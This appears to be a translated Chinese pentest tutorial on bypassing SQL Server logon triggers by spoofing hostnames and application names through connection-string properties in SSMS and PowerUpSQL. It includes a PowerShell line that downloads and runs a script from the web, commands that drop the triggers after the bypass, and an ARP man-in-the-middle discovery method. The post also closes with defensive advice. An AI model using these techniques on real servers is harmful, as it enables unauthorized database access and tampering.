快捷搜索:  网络  后门  CVE  渗透  木马  扫描  黑客  as

绕过SQL Server的登录触发器制约

在做渗透排泄测试义务时,我们常常会碰着一些直连SQL Server数据库的桌面应用。但偶尔也会碰着一些后端为SQL Server的应用,并且其只允许来自预定义的主机名或应用程序列表的连接。这些类型的制约一般为通过登录触发器来强制执行的。在本文中,我将向人人铺示怎么样行使连接字符串属性诈骗主机名以及应用程序名称来绕过这些制约。示例中将会包括SSMS以及PowerUpSQL。这对于那些继承了旧式桌面应用的渗透排泄测试人员以及开发人员无比有效。

什么是登录触发器?

登录触发器将为响应LOGON事故而激发存储过程。与 SQL Server实例确立用户会话时将诱发此事故。 登录触发器将在登录的身份验证阶段实现以后且用户会话实际确立之前激发。 因此,来自触发器内部且通常将到达用户的所有新闻(例如错误新闻以及来自PRINT语句的新闻)会传送到SQL Server错误日记。 要是身份验证失败,将不激发登录触发器。

装置SQL Server

要是你尚无装置SQL Server,请进行以下操作:

1.下载并装置SQL Server

2.下载并装置SQL Server Management Studio Express(SSMS)

创建一个主机名制约登录触发器

下列是在家庭实验环境中配置触发器的说明,该触发器将根据连接的工作站名称来制约走访。

1.使用SSMS以sysadmin身份登录到新的SQL Server实例。

2.起首,让我们使用下列命令来获取连接到SQL server实例的主机名。默认情形下,它将向我们返归连接到SQL Server实例的工作站的主机名。

SELECT HOST_NAME()

1img_5b325a7e4a769.png

3.创建一个仅允许白名单主机名连接的登录触发器。并按照下图所示执行该触发器。

-- Create our logon trigger
CREATE TRIGGER MyHostsOnly
ON ALL SERVER
FOR LOGON
AS
BEGIN
    IF
    (
        -- White list of allowed hostnames are defined here.
        HOST_NAME() NOT IN ('ProdBox','QaBox','DevBox','UserBox')
    )
    BEGIN
        RAISERROR('You are not allowed to login from this hostname.', 16, 1);
        ROLLBACK;
    END 
END

2img_5b325b5e8de13.png

4.配置登录触发器后,当你再次尝试使用SSMS登录时,应该会出现类似下面的错误,因为你要连接的主机名并不在当前的白名单上。

3img_5b325c49d4dc9.png

使用SSMS诈骗主机名

在这一点上,你可能会问,“我们(攻击者)什么时辰会在现实全国中实际使用它呢?”我的归答是一般为在你从设置文件或反编译代码恢复连接字符串以后使用,现在我们希翼使用该信息直接连接到后端SQL Server,这是应用程序渗透排泄测试中无比常见的情形。此外,我们还会在收集测试以及红蓝匹敌期间,在关上的文件同享中找到一些内部应用程序以及设置文件。

1.在SSMS中关上“Connect Object Explorer”并导航到“Additional Connection Parameters”选项。这里我们可以动态配置连接字符串属性(超酷)。本例中,我们将“Workstation ID”属性配置为“DevBox”,这是白名单中包含的一个主机名。注意:稍后我会先容几种识别白名单主机名的要领。

4img_5b325d7b850fa.png

2.点击connect登录。此时,要是你关上查询窗口再次检查主机名时,你会发现主机名将返归“DevBox”。这进一步说明我们成功诈骗了主机名的检测。

SELECT HOST_NAME()

5img_5b325da92e1fe.png

使用连接字符串诈骗主机名

实际上,SSMS只是使用”workstation id”属性集来构建了一个连接字符串。下面是一个简单连接字符串的例子,它将作为当前Windows用户连接到遥程SQL Server实例,并选择“Master”数据库。 

Data Source=server\instance1;Initial Catalog=Master;Integrated Security=True;

要是我们在上一节中铺示的登录触发器已经见效的话,我们应该看到“failed to connect”新闻。 然则,要是将“Workstation ID”属性配置为白名单中的主机名,就能够顺利登录。

Data Source=server\instance1;Initial Catalog=Master;Integrated Security=True;Workstation ID = DevBox;

使用PowerUpSQL诈骗主机名

我在PowerUpSQL的Get-SQLQuery函数中添加了“WorkstationId”选项。下面是一个示例,将为人人演示怎么样绕过我们在上一节中创建的登录触发器。

1.关上Powershell并使用本人喜好的方式加载PowerUpSQL。下面的示例显示了怎么样直接从GitHub加载PowerUpSQL。

IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1")

2.由于触发器制约,初始连接失败。 请注意,我们需要配置“-ReturnError”标志,以查看服务器返归的错误信息。

Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Query "SELECT host_name()" -ReturnError

6img_5b325e12ecbd2.png

3.现在我们将workstationid选项配置为“DevBox”,如许你就能够成功执行查询了。

Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Query "SELECT host_name()" -WorkstationId "DevBox"

7img_5b325e1fc990c.png

4.要是你想要删除触发器,你可以执行下列命令。

Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -WorkstationId "DevBox" -Query 'DROP TRIGGER MyHostsOnly on all server'

创建登录触发器来制约应用程序

下列是在家庭实验室中配置触发器的说明,该触发器将根据连接的应用程序名称来制约走访。

1.使用SSMS以sysadmin身份登录到新的SQL Server实例。

2.起首,让我们使用下列命令查看下连接到SQL Server实例的应用程序的名称。不出不测的话,它应为我们返归“Microsoft SQL Server Management Studio – Query”。

SELECT APP_NAME()

8img_5b3267a8e3abd.png

3.创建一个仅允许白名单应用程序进行连接的登录触发器。并按照下图所示执行该触发器。

CREATE TRIGGER MyAppsOnly
ON ALL SERVER
FOR LOGON
AS
BEGIN
     IF
     (
          -- Set the white list of application names here
          APP_NAME() NOT IN ('Application1','Application2','SuperApp3000','LegacyApp','DevApp1')
     )
     BEGIN
          RAISERROR('You are not allowed to login from this application name.', 16, 1);
          ROLLBACK;
     END
END

9img_5b3267ed71881.png

4.配置登录触发器后,当你再次尝试使用SSMS登录时,你应该会收到下列错误提示,因为你要连接的应用程序并不在当前的白名单列表中。

10img_5b32681aaebe3.png

使用SSMS诈骗应用程序名称

一样地你可能会问,“我们(攻击者)什么时辰会在现实全国中实际使用它呢?”。某些应用程序的名称已经在连接SQL Server的连接字符串中静态配置。与主机名类似,我们可以在设置文件以及源码中找到它们。实际上,很少能见到登录触发器使用应用程序名称来制约走访,但我们也已遇见过好几归了。

1.在SSMS中关上”Connect Object Explorer”并导航到”Additional Connection Parameters”选项。我们可以在这里即时配置连接字符串属性(超酷)。 对于这个例子来说,我们将”application name”属性配置为”SuperApp3000″,它是白名单中的一个应用程序名。注意:稍后我会先容几种识别白名单中的应用程序名的要领。

11img_5b3269a411299.png

2.点击connect登录。此时,要是你关上查询窗口再次检查应用程序名时,你会发现应用程序名将返归“SuperApp3000”。这进一步说明我们成功诈骗了主机名的检测。

SELECT APP_NAME()

12img_5b3269bf1a62e.png

使用字符串连接诈骗应用程序名称

正如在上一节中提到的那样,存在一个名为“AppName”的连接字符串属性,应用程序可以使用它将其应用程序名称提交给SQL Server,例如:

Data Source=server\instance1;Initial Catalog=Master;Integrated Security=True;  Application Name =MyApp"
Data Source=server\instance1;Initial Catalog=Master;Integrated Security=True;  ApplicationName =MyApp"
Data Source=server\instance1;Initial Catalog=Master;Integrated Security=True;  AppName =MyApp"

使用PowerUpSQL诈骗应用程序名称

出于场景演示的需要,我更新了PowerUpSQL的Get-SQLQuery函数使其包含“appname”选项。示例以下:

1.关上Powershell并使用本人喜好的方式加载PowerUpSQL。下面的示例显示了怎么样直接从GitHub加载PowerUpSQL。

IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1")

2.PowerUpSQL函数封装了许多.NET SQL Server函数。默认情形下,当使用.NET以编程方式连接到SQL Server时,“appname”属性将配置为“.Net SqlClient Data Provider”。然则,由于我们创建了一个新的登录触发器,并通过“appname”来制约走访,所以会得到下列错误。

Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Query "SELECT app_name()" -ReturnError

13img_5b326e1e514c7.png

3.现在将“appname”属性配置为“SuperApp3000”,如许就能够成功执行查询了。

Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Query "SELECT app_name()" -AppName SuperApp3000

14img_5b326e26c3133.png

4.要是你想要删除触发器,你可以执行下列命令。

Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -AppName SuperApp3000 -Query 'DROP TRIGGER MyAppsOnly on all server'

5.现在你不需要诈骗应用程序名称就可以连接了。

Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014  -Query 'SELECT APP_NAME()'

15img_5b326e31e8e56.png

6.或者你也能够伪造任意应用程序的名称。

Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -AppName EvilClient -Query 'SELECT APP_NAME()'

16img_5b326e3964490.png

寻觅白名单列表中的主机以及应用程序名

要是你不确定登录触发器的白名单列表中有哪些主机以及应用程序名,则可以借助下面的这些要领。

1.检查登录触发源代码

获取登录触发器中白名单列表的最好要领是查看其源代码。 但通常情形下,这都需要一定的权限才能走访。

SELECT	name,
OBJECT_DEFINITION(OBJECT_ID) as trigger_definition,
parent_class_desc,
create_date,
modify_date,
is_ms_shipped,
is_disabled
FROM sys.server_triggers  
ORDER BY name ASC

17img_5b326ef3a21a5.png

2.查看应用程序代码查找硬编码的的主机名以及应用程序

无意白名单中的主机名以及应用程序会被硬编码到应用程序中。要是您正在处理.NET或Java应用程序,则可以通过反编译,并查找与正在使用的连接字符串相干的症结字来定位有关源代码。这类要领假定您可以走访应用程序程序集或设置文件。这时辰,JD-GUI以及DNSPY将会派上用处。

3.考察应用流量

无意,白名单中的主机名以及应用程序,是应用程序启动时从数据库服务器中抓取的。因此,您可以使用您最喜爱的嗅探器来获取白名单中的主机名以及应用程序。我有过几次如许的经历。你可能会问,为什么会有人这么做? 别人可能永遥不会知道谜底。

4.使用域体系列表

要是您已经拥有域帐户,则可以查询Active Directory以获取域计算机的列表。然后,您可以遍历列表,从而找出允许连接的列表。当然,这里假定当前域用户有权登录到SQL Server,黑客工具,并且白名单列出的主机名与域相干联。

5.使用MITM记录连接

我们还可以通过基于ARP的中间人(MITM)攻击来拦截从遥程体系到SQL Server的连接。要是连接已加密(自SQL Server 2014以来,都会默认进行加密),虽然看不到流量内容,但能够看到已经连接了哪些主机。当然,我们也能够使用MITM手艺。

正告:要是攻击过程正在验证上岸凭据,可能会导致数据包丢失,并对生产体系产生严重影响,因此请谨慎使用该要领。

一般建议


使用登录触发器时,不要根据客户端可以轻松修改的信息来制约对SQL Server的走访。

要是您希翼使用白名单手艺制约体系走访,请考虑使用收集或主机级防火墙规则,而不是登录触发器。

考虑根据用户组以及走访权限来制约对SQL Server的走访,而不是使用登录触发器。

在本文中,我先容了一些鲜为人知的行使连接字符串属性来绕过SQL Server登录触发器强制执行的走访制约的要领。这些要领在对传统桌面应用程序渗透排泄测试时,将无比的有效。对于那些感兴致的人,你还可以在这里查看我更新后的“SQL Server连接字符串Cheatsheet”。

参考

https://gist.github.com/nullbind/91c573b0e27682733f97d4e6eebe36f8

https://docs.microsoft.com/en-us/sql/relational-databases/triggers/logon-triggers?view=sql-server-2017

https://blog.sqlauthority.com/2018/04/14/sql-server-be-careful-with-logon-triggers-dont-use-host_name/

*参考来源:netspi, secist 编译,

您可能还会对下面的文章感兴趣: